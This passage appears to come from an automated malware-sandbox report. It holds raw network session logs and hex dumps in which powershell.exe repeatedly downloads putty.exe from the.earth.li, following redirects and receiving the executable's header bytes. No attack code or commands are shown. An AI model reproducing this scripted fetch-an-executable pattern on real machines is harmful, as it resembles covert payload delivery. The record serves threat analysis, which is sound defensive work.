                                                                                                                                                  2022-12-04 11:05:58 UTC1422INData Raw: d6 ff a4 97 8f 90 00 fe b8 85 71 d1 20 06 ca 16 2e 0b 60 59 bd 31 b1 44 4c e6 44 41 9e be fa 79 6a 6b f4 3d d8 d2 72 bf e4 6c 19 00 af 81 0e e8 3b 86 bc 85 4d 8a eb f7 b9 ae 60 22 ee 20 88 a9 d6 72 87 6c 8e cb c0 a5 8c 50 53 50 8d 79 48 9a fd a1 4c f7 94 9e f5 c5 09 d7 5d c3 74 16 c4 3d dc 9c 3b 31 dd ac b3 14 0f b2 a4 33 ca d2 86 77 31 68 d5 e1 9b f2 e8 24 a4 13 02 03 01 00 01 a3 82 01 9c 30 82 01 98 30 1f 06 03 55 1d 23 04 18 30 16 80 14 0f 2a cb 20 87 28 b8 ec 6f 48 ae 2b 54 a6 29 aa 17 a4 cd 0c 30 1d 06 03 55 1d 0e 04 16 04 14 ff 81 bd 4d 75 16 75 02 b0 be 63 75 70 ab 31 77 db d2 e0 3f 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 07 80 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 03 30 11 06 09 60
                                                                                                                                                  Data Ascii: q .`Y1DLDAyjk=rl;M`" rlPSPyHL]t=;13w1h$00U#0* (oH+T)0UMuucup1w?0U0U00U%0+0`
                                                                                                                                                  2022-12-04 11:05:58 UTC1430INData Raw: 6f 63 73 70 2e 73 65 63 74 69 67 6f 2e 63 6f 6d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0c 05 00 03 82 02 01 00 73 da ed 68 72 cb c2 b9 40 a1 31 bb b4 03 a3 2d 14 7b 24 e7 b4 5b 15 7d a8 e9 fd ad d1 92 0d 7c 3d 36 a0 69 d9 f3 9a 30 da ac 69 d6 74 57 24 3f 7e 0f 3c d9 f5 c3 79 25 6c 26 e8 8d 68 93 ce f1 77 89 39 7f a8 04 05 da 34 c3 14 ea 9f 08 54 ab ff c4 7e 96 6c 2b d3 94 eb b4 6c e0 45 4d 2c b2 f7 3b 3b 5a b5 c1 fb d7 89 75 6d 98 72 72 f6 f7 07 28 f3 d3 b2 d0 eb 19 be 15 2c 78 ef cd 45 a0 00 e4 f8 04 76 bb 57 c5 90 be 77 54 90 74 9e 0b 4f 4d c4 aa 13 8f 97 af 01 35 2b cb 9b 11 78 e9 f2 f9 89 04 3c 4e e3 82 12 62 eb b4 44 0c 75 41 c2 0f 34 b8 88 9d c8 22 f1 13 6a db 18 2f 6e 78 ad c4 05 b4 e8 84 08 93 07 f9 7d 83 fe 68 98 34 e4 77 e5 b1 ce 8c 94 6c db 03 6d
                                                                                                                                                  Data Ascii: ocsp.sectigo.com0*Hshr@1-{$[}|=6i0itW$?~<y%l&hw94T~l+lEM,;;Zumrr(,xEvWwTtOM5+x<NbDuA4"j/nx}h4wlm
                                                                                                                                                  2022-12-04 11:05:58 UTC1438INData Raw: 99 c1 05 8b ab 0c 2f f3 5c 3a cf 6c 37 55 09 87 de 53 40 6c 58 ef fc b6 ab 65 6e 04 f6 1b dc 3c e0 5a 15 c6 9e d9 f1 59 48 30 21 65 03 6c ec e9 21 73 ec 9b 03 a1 e0 37 ad a0 15 18 8f fa ba 02 ce a7 2c a9 10 13 2c d4 e5 08 26 ab 22 97 60 f8 90 5e 74 d4 a2 9a 53 bd f2 a9 68 e0 a2 6e c2 d7 6c b1 a3 0f 9e bf eb 68 e7 56 f2 ae f2 e3 2b 38 3a 09 81 b5 6b 85 d7 be 2d ed 3f 1a b7 b2 63 e2 f5 62 2c 82 d4 6a 00 41 50 f1 39 83 9f 95 e9 36 96 98 6e 30 82 06 ec 30 82 04 d4 a0 03 02 01 02 02 10 30 0f 6f ac dd 66 98 74 7c a9 46 36 a7 78 2d b9 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0c 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 4e 65 77 20 4a 65 72 73 65 79 31 14 30 12 06 03 55 04 07 13 0b 4a 65 72 73 65 79 20 43 69 74 79 31 1e 30
                                                                                                                                                  Data Ascii: /\:l7US@lXen<ZYH0!el!s7,,&"`^tShnlhV+8:k-?cb,jAP96n000oft|F6x-0*H010UUS10UNew Jersey10UJersey City10


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  10192.168.2.34971093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:38 UTC1479OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:38 UTC1479INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:38 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:06:38 UTC1479INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  11192.168.2.34971193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:39 UTC1480OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:39 UTC1480INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:39 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:39 UTC1480INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  12192.168.2.34971293.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:51 UTC1488OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:51 UTC1488INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:51 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:06:51 UTC1488INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  13192.168.2.34971393.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:51 UTC1488OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:51 UTC1489INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:51 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:51 UTC1489INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  14192.168.2.34971493.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:09 UTC1497OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:07:09 UTC1497INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:09 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:07:09 UTC1497INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  15192.168.2.34971593.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:09 UTC1497OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:07:09 UTC1497INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:09 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:07:09 UTC1498INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  16192.168.2.34971693.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:25 UTC1505OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:07:25 UTC1506INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:25 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:07:25 UTC1506INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  17192.168.2.34971793.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:25 UTC1506OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:07:25 UTC1506INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:25 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:07:25 UTC1507INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  18192.168.2.34971893.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:43 UTC1514OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:07:43 UTC1514INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:43 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:07:43 UTC1515INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  19192.168.2.34971993.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:07:43 UTC1515OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:07:43 UTC1515INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:07:43 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:07:43 UTC1515INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  2192.168.2.34970293.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:09 UTC1443OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:09 UTC1444INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:09 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
